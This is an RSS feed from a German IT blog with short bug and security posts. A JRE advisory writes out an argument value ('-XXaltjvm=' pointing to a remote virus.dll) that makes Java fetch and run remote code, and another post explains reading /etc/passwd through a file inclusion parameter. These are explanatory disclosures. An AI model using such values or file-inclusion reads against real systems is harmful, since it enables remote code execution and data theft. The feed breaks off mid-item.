<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Benjamin Flesch &#187; Fehlerteufel</title>
	<atom:link href="http://blog.bf-itservice.de/category/fehlerteufel/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.bf-itservice.de</link>
	<description>Programmkot &#38; Sicherheit</description>
	<lastBuildDate>Tue, 18 Oct 2011 06:35:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Node.js, MongoDB, Express and Sessions: TypeError: Object #Object&gt; has no method &#8216;bodyDecoder&#8217;</title>
		<link>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder</link>
		<comments>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder#comments</comments>
		<pubDate>Mon, 14 Mar 2011 16:37:57 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[cookieDecoder()]]></category>
		<category><![CDATA[cookieParser()]]></category>
		<category><![CDATA[Express]]></category>
		<category><![CDATA[MongoDB]]></category>
		<category><![CDATA[No Method Error]]></category>
		<category><![CDATA[Node.js]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=427</guid>
		<description><![CDATA[I just struggled with this error message whilst trying to set up some sort of authentication layer for a small node.js-powered web application with a MongoDB backend. This was my code to establish a MongoDB session handling. The TypeError: Object #&#60;Object&#62; has no method 'bodyDecoder' occurs in line 5 of the following snippet: 1 2 [...]]]></description>
			<content:encoded><![CDATA[<p>I just struggled with this error message whilst trying to set up some sort of <strong>authentication layer</strong> for a small node.js-powered web application with a MongoDB backend. This was my code to establish a MongoDB session handling. The <code>TypeError: Object #&lt;Object&gt; has no method 'bodyDecoder'</code> occurs in <strong>line 5</strong> of the following snippet:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> MongoStore <span style="color: #339933;">=</span> require<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'connect-mongodb'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">logger</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span> format<span style="color: #339933;">:</span> <span style="color: #3366CC;">':method :url'</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">bodyParser</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">methodOverride</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">cookieDecoder</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// &lt;= runtime error appears here</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">session</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
	secret<span style="color: #339933;">:</span> settings.<span style="color: #660066;">cookie_secret</span><span style="color: #339933;">,</span>
	store<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">new</span> MongoStore<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
		db<span style="color: #339933;">:</span> settings.<span style="color: #660066;">db</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>After some investigation I found out that in <strong>Express  2.0.0beta3</strong>, the function <code>cookieDecoder()</code> has been renamed to <code>cookieParser()</code>; the same comes true for <code>bodyDecoder()</code> which now needs to be called as <code>bodyParser()</code>. At least now I know why some of the example code failed <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Unsicherer PHP-Programmierer</title>
		<link>http://blog.bf-itservice.de/394/unsicherer-php-programmierer</link>
		<comments>http://blog.bf-itservice.de/394/unsicherer-php-programmierer#comments</comments>
		<pubDate>Mon, 16 Aug 2010 12:00:56 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Job]]></category>
		<category><![CDATA[Local File Inclusion]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP Hardening]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=394</guid>
		<description><![CDATA[Seit einigen Tagen habe ich eine Stelle als PHP-Programmierer ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft. Ich habe schon viele gute Bewerbungen erhalten, aber sie waren alle nichts gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend: 12+ years PHP experience 8+ [...]]]></description>
			<content:encoded><![CDATA[<p>Seit einigen Tagen habe ich eine Stelle als <strong>PHP-Programmierer</strong> ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft.</p>
<p>Ich habe schon viele gute Bewerbungen erhalten, aber <strong>sie waren alle nichts</strong> gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend:</p>
<ul>
<li>12+ years PHP experience</li>
<li>8+ years Perl experience</li>
<li>sehr ansprechender Stundenlohn</li>
</ul>
<p>Das klingt nach einem <strong>Perl-Guru</strong>, der dann auf PHP umgesattelt ist, nicht wahr?</p>
<p>Es wurden <strong>zwei PHP-Projekte zur Referenz</strong> angeboten, direkt mal angeschaut und <strong>vom Stuhl gefallen</strong>. Der Grund ist nicht wirklich schwer zu finden, die URL sah wie folgt aus:</p>
<p><code>http://XXXXXXXXXXXX.com/<strong>?main=pce/index.php</strong></code></p>
<p>Für die Personen die spätestens jetzt total verwirrt sind: Der Homepage wird hinter dem <strong>?</strong> der Variable <strong>main</strong> die Adresse zu einem PHP-Script zugewiesen (und zwar <strong>pce/index.php</strong>). </p>
<p>Wenn man also den Inhalt von <strong>main</strong> entsprechend verändert, kann man beliebige Dateien des Servers anzeigen. Beispiel:</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/08/urk.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2010/08/urk.png" alt="" title="urk" width="562" height="38" class="alignnone size-full wp-image-396" /></a></p>
<p>So können wir die Datei <strong>/etc/passwd</strong> auslesen, in der Informationen über die Benutzeraccounts eines Linux-Systems gespeichert sind. Natürlich ist jetzt auch nicht mehr weit bis zu einem erfolgreichen Hack, aber darum geht es an dieser Stelle auch nicht.</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/08/passwd.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2010/08/passwd-300x227.png" alt="Benutzerliste des Servers - /etc/passwd" title="passwd" width="300" height="227" class="alignleft size-medium wp-image-397" /></a></p>
<p>Es gab noch einige weitere Sicherheitslücken in seinen Referenzprojekten, und nett wie ich bin habe ich sie ihm natürlich auch sofort mitgeteilt. </p>
<p>Den Job wird er aber nicht bekommen und hiermit verabschiede ich mich, sprachlos. <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/394/unsicherer-php-programmierer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu PostScript error: limitcheck</title>
		<link>http://blog.bf-itservice.de/391/ubuntu-postscript-error-limitcheck</link>
		<comments>http://blog.bf-itservice.de/391/ubuntu-postscript-error-limitcheck#comments</comments>
		<pubDate>Wed, 14 Jul 2010 15:46:55 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Bild]]></category>
		<category><![CDATA[Drucken]]></category>
		<category><![CDATA[Error]]></category>
		<category><![CDATA[limitcheck]]></category>
		<category><![CDATA[Offending Command]]></category>
		<category><![CDATA[Picture]]></category>
		<category><![CDATA[Postscript]]></category>
		<category><![CDATA[Printing]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=391</guid>
		<description><![CDATA[Nach dem Ausdrucken einer Bilddatei sah ich den folgenden Postscript-Fehler auf dem Papier: 1 2 3 ERROR: limitcheck OFFENDING COMMAND: image STACK: false , &#40; Resource/ProcSet/ComposeOCF &#41; , &#40; r &#41; , Nachdem ich die Bilddatei mit Gimp öffnete, wurde mir in einem Dialog die Farbraumkonvertierung zu SRGB angeboten. Nachdem diese durchgeführt wurde, speicherte ich [...]]]></description>
			<content:encoded><![CDATA[<p>Nach dem Ausdrucken einer Bilddatei sah ich den folgenden Postscript-Fehler auf dem Papier:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">ERROR<span style="color: #339933;">:</span> limitcheck
OFFENDING COMMAND<span style="color: #339933;">:</span> image
STACK<span style="color: #339933;">:</span> <span style="color: #009900; font-weight: bold;">false</span> <span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span> Resource<span style="color: #339933;">/</span>ProcSet<span style="color: #339933;">/</span>ComposeOCF <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span> r <span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span></pre></td></tr></table></div>

<p>Nachdem ich die Bilddatei mit <strong>Gimp</strong> öffnete, wurde mir in einem Dialog die <strong>Farbraumkonvertierung zu SRGB</strong> angeboten. Nachdem diese durchgeführt wurde, speicherte ich das Bild unter einem anderen Dateinamen und der Druckvorgang funktionierte endlich wieder <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/391/ubuntu-postscript-error-limitcheck/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kritische Sicherheitslücke im Java Runtime Environment (JRE)</title>
		<link>http://blog.bf-itservice.de/362/kritische-sicherheitslucke-im-java-runtime-environment-jre</link>
		<comments>http://blog.bf-itservice.de/362/kritische-sicherheitslucke-im-java-runtime-environment-jre#comments</comments>
		<pubDate>Fri, 09 Apr 2010 16:01:50 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[-J-XXaltjvm]]></category>
		<category><![CDATA[-XXaltjvm]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Command Execution]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JRE]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Remote File Inclusion]]></category>
		<category><![CDATA[Sicherheitslücke]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=362</guid>
		<description><![CDATA[Wie Reverse Mode heute morgen berichtete, gibt es eine ziemlich schlimme Sicherheitslücke beim Verarbeiten von JAVA-Einbindungen durch Browser, die das Java-Plugin installiert haben &#8212; und das ist so ziemlich jeder Browser, den es gibt. Auch Chrome und Firefox sind betroffen, genauso wie die entsprechenden Linux-Versionen des JREs. Bei der Sicherheitslücke handelt sich um eine Command [...]]]></description>
			<content:encoded><![CDATA[<p>Wie <a href="http://www.reversemode.com/index.php?option=com_content&amp;task=view&amp;id=67&amp;Itemid=1">Reverse Mode</a> heute morgen berichtete, gibt es eine ziemlich schlimme Sicherheitslücke beim Verarbeiten von JAVA-Einbindungen durch Browser, die das Java-Plugin installiert haben &#8212; und das ist so ziemlich jeder Browser, den es gibt. Auch Chrome und Firefox sind betroffen, genauso wie die entsprechenden Linux-Versionen des JREs.</p>
<p>Bei der Sicherheitslücke handelt sich um eine <strong>Command Execution Vulnerability</strong> die durch unterlassenes Überprüfen der Aufrufparameter von <code>javaws.exe</code> entstanden ist. Wenn ein bei der Einbindung von Java-Applets angegebener Parameter in der Form vom <code>" -XXaltjvm="\\12.34.56.78\virus.dll</code> vorliegt, wird von dem Java Runtime Environment die Datei unter <code>\\12.34.56.78\virus.dll</code> heruntergeladen und ausgeführt. Ooops!</p>
<p>Der folgende Codeschnipsel dürfte genügend Aufschluss über die Einbindung der betroffenen Parameter <code>docbase</code> und <code>launchjlnp</code> geben.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>browser <span style="color: #339933;">==</span> <span style="color: #0000ff;">'MSIE'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	document<span style="color: #339933;">.</span>write<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'object classid=&quot;clsid:8AD9C840-044E-11D1-B3E9-00805F499D93&quot; '</span>
		<span style="color: #339933;">+</span> <span style="color: #0000ff;">'width=&quot;0&quot; height=&quot;0&quot;&gt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'PARAM name=&quot;launchjnlp&quot; value=&quot;'</span> <span style="color: #339933;">+</span> jnlp <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&gt;'</span>
		<span style="color: #339933;">+</span> <span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'PARAM name=&quot;docbase&quot; value=&quot;'</span> <span style="color: #339933;">+</span> jnlpDocbase <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&gt;'</span>
		<span style="color: #339933;">+</span> <span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'object'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>browser <span style="color: #339933;">==</span> <span style="color: #0000ff;">'Netscape Family'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	document<span style="color: #339933;">.</span>write<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'embed type=&quot;application/x-java-applet;jpi-version='</span>
		<span style="color: #339933;">+</span> deployJava<span style="color: #339933;">.</span>firefoxJavaVersion <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot; '</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'width=&quot;0&quot; height=&quot;0&quot; '</span>
		<span style="color: #339933;">+</span> <span style="color: #0000ff;">'launchjnlp=&quot;'</span> <span style="color: #339933;">+</span>  jnlp <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">+</span> <span style="color: #0000ff;">'docbase=&quot;'</span> <span style="color: #339933;">+</span>  jnlpDocbase <span style="color: #339933;">+</span> <span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">+</span>	<span style="color: #0000ff;">' /&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Bis zu einem Schließen dieser Sicherheitslücke sollte jeder im Browser Java ausstellen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/362/kritische-sicherheitslucke-im-java-runtime-environment-jre/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wurstiger PHP-Code</title>
		<link>http://blog.bf-itservice.de/354/wurstiger-php-code</link>
		<comments>http://blog.bf-itservice.de/354/wurstiger-php-code#comments</comments>
		<pubDate>Thu, 01 Apr 2010 14:28:03 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[PHP Best Practices]]></category>
		<category><![CDATA[PHP Refactoring]]></category>
		<category><![CDATA[Schlechter Code]]></category>
		<category><![CDATA[Sinnloser Wirrwarr]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=354</guid>
		<description><![CDATA[Ich darf gerade das Refactoring einer PHP4-Anwendung durchführen, und mir graute es schon von Anfang an. Aber folgende Zeilen lassen einem echt das Blut gefrieren: 1 2 3 4 $OUT .= &#34;&#60;option value=\&#34;&#34; . &#40;&#40;$OUTPUT_VALUE != null&#41;?$A&#91;$OUTPUT_VALUE&#93; : $A&#91;&#34;name&#34;&#93;&#41; . &#34;\&#34; &#34; . &#40;&#40;$OUTPUT_EXTRA != null&#41;?&#40;&#40;$A&#91;$OUTPUT_EXTRA&#93; == $OUTPUT_EXTRA2&#41;?&#34;selected&#34;:&#34;&#34;&#41;:&#34;&#34;&#41; . &#34;&#62; &#34; . htmlentities&#40;$A&#91;&#34;name&#34;&#93;, ENT_QUOTES&#41; . [...]]]></description>
			<content:encoded><![CDATA[<p>Ich darf gerade das Refactoring einer PHP4-Anwendung durchführen, und mir graute es schon von Anfang an. Aber folgende Zeilen lassen einem echt das Blut gefrieren:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$OUT</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;&lt;option value=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$OUTPUT_VALUE</span> <span style="color: #339933;">!=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$A</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$OUTPUT_VALUE</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$A</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> &quot;</span> <span style="color: #339933;">.</span>
<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$OUTPUT_EXTRA</span> <span style="color: #339933;">!=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span>?<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$A</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$OUTPUT_EXTRA</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$OUTPUT_EXTRA2</span><span style="color: #009900;">&#41;</span>?<span style="color: #0000ff;">&quot;selected&quot;</span><span style="color: #339933;">:</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;&gt; &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$A</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/option&gt;&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Eine weitere Perle, zur besseren Übersicht aus der 200 Zeichen langen Konkatenation herausgenommen:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$OUTPUT_EXTRA3</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">null</span> <span style="color: #339933;">||</span> <span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$OUTPUT_EXTRA3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$OUTPUT_EXTRA3</span><span style="color: #339933;">!==</span><span style="color: #0000ff;">'undefined'</span><span style="color: #009900;">&#41;</span>?<span style="color: #000088;">$OUTPUT_EXTRA3</span><span style="color: #339933;">:</span><span style="color: #0000ff;">'Ziel w&amp;auml;hlen'</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>Es gibt Tage, da zweifle ich echt an meiner Berufswahl! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/354/wurstiger-php-code/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Was ist eine Firewall?</title>
		<link>http://blog.bf-itservice.de/347/was-ist-eine-firewall</link>
		<comments>http://blog.bf-itservice.de/347/was-ist-eine-firewall#comments</comments>
		<pubDate>Tue, 30 Mar 2010 21:09:37 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[brennender Server]]></category>
		<category><![CDATA[Firewall]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=347</guid>
		<description><![CDATA[Das ist eine Firewall.]]></description>
			<content:encoded><![CDATA[<div class="mceTemp">
<dl class="wp-caption alignleft" style="width: 442px;">
<dt class="wp-caption-dt"><img class=" " title="Firewall-brennender-Switch" src="http://www.xs4all.nl/~marco/alteon_burn.jpg" alt="Was ist eine Firewall" width="432" height="143" /></dt>
<p>Das ist eine Firewall.</dl>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/347/was-ist-eine-firewall/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Visualisierung des Google-Lochs</title>
		<link>http://blog.bf-itservice.de/332/visualisierung-des-google-lochs</link>
		<comments>http://blog.bf-itservice.de/332/visualisierung-des-google-lochs#comments</comments>
		<pubDate>Thu, 25 Mar 2010 16:37:10 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[RANKfastPLEASE Seo Experiment]]></category>
		<category><![CDATA[Google Loch]]></category>
		<category><![CDATA[Google Sandbox]]></category>
		<category><![CDATA[Overhead HTML beseitigen]]></category>
		<category><![CDATA[Refactoring]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=332</guid>
		<description><![CDATA[Ich habe mal wieder mitbekommen, wie Google neuerdings bei großen Änderungen an einer Seite umgeht; Stichwort Sandbox. Bei einer von meinen Seite mit hauptsächlich statischem Content wurde am allgemeinen Seitenaufbau etwas geändert, diese Änderung resultierte darin, dass jede Seite dieser Homepage fast 1/4 weniger Overhead an sinnlosen Footerlinks und ähnlichem hatte. Man hat diese Änderung [...]]]></description>
			<content:encoded><![CDATA[<p>Ich habe mal wieder mitbekommen, wie Google neuerdings bei großen Änderungen an einer Seite umgeht; Stichwort Sandbox.</p>
<p>Bei einer von meinen Seite mit hauptsächlich statischem Content wurde am allgemeinen Seitenaufbau etwas geändert, diese Änderung resultierte darin, dass jede Seite dieser Homepage fast 1/4 weniger Overhead an sinnlosen Footerlinks und ähnlichem hatte. Man hat diese Änderung auch direkt in den Aufrufstatistiken gesehen.</p>
<p><div id="attachment_333" class="wp-caption alignleft" style="width: 310px"><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/03/chart.jpg"><img class="size-medium wp-image-333 " title="chart" src="http://blog.bf-itservice.de/wp-content/uploads/2010/03/chart-300x133.jpg" alt="" width="300" height="133" /></a><p class="wp-caption-text">Mein  Projekt war circa 14 Tage in der &quot;Google-Sandbox&quot; eingeschlossen.</p></div></p>
<p>Das Tolle ist nun, dass sich die Sache ja normalerweise eigentlich  normalisieren sollte &#8212; und ich warte zur Zeit immernoch auf ein  erreichen der alten Zugriffszahlen. Gilt in diesem Fall eigentlich auch  das alte Informatiker-Sprichwort <strong>&#8220;Never change a running system&#8221;</strong> ?! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/332/visualisierung-des-google-lochs/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>bbPress Deutsche Übersetzung de_DE.mo, de_DE.po</title>
		<link>http://blog.bf-itservice.de/194/bbpress-deutsche-ubersetzung-de_demo-de_depo</link>
		<comments>http://blog.bf-itservice.de/194/bbpress-deutsche-ubersetzung-de_demo-de_depo#comments</comments>
		<pubDate>Wed, 28 Jan 2009 21:43:29 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[bbPress]]></category>
		<category><![CDATA[bbPress Deutsche Version]]></category>
		<category><![CDATA[Deutsche Übersetzung]]></category>
		<category><![CDATA[de_DE.mo]]></category>
		<category><![CDATA[de_DE.po]]></category>
		<category><![CDATA[Language Files]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=194</guid>
		<description><![CDATA[Nachdem ich jetzt fast zwei Stunden die deutschen Language Files zu bbPress gesucht habe, und nur auf geparkte Domains gestoßen bin, bin ich nun endlich fündig geworden und versuche hiermit einem anderen Menschen dieses Problem zu erleichtern. Also wenn diese Person googelt Die Language Files für die Deutsche bbPress Übersetzung gibt es hier im SVN [...]]]></description>
			<content:encoded><![CDATA[<p>Nachdem ich jetzt fast zwei Stunden die <strong>deutschen Language Files</strong> zu <a href="http://www.bbpress.org">bbPress</a> gesucht habe, und nur auf geparkte Domains gestoßen bin, bin ich nun endlich fündig geworden und versuche hiermit einem anderen Menschen dieses Problem zu erleichtern. Also wenn diese Person googelt <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Die <strong>Language Files</strong> für die <strong>Deutsche bbPress Übersetzung</strong> gibt es <a href="http://svn.automattic.com/bbpress-i18n/de_DE/trunk/">hier im SVN der Firma Automaticc</a>. Einfach in <em>/bb-includes/languages/</em> speichern und in der <em>bb-config.php</em> die die Sprache auf <em>&#8220;de&#8221;</em> abändern.</p>
<p>Ich hoffe wirklich, dass es bei bbPress weniger Sicherheitslücken als bei meinem geliebten WordPress geben wird!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/194/bbpress-deutsche-ubersetzung-de_demo-de_depo/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox Extension Development: Undefined Entity Error (locales)</title>
		<link>http://blog.bf-itservice.de/180/firefox-extension-development-undefined-entity-error-locales</link>
		<comments>http://blog.bf-itservice.de/180/firefox-extension-development-undefined-entity-error-locales#comments</comments>
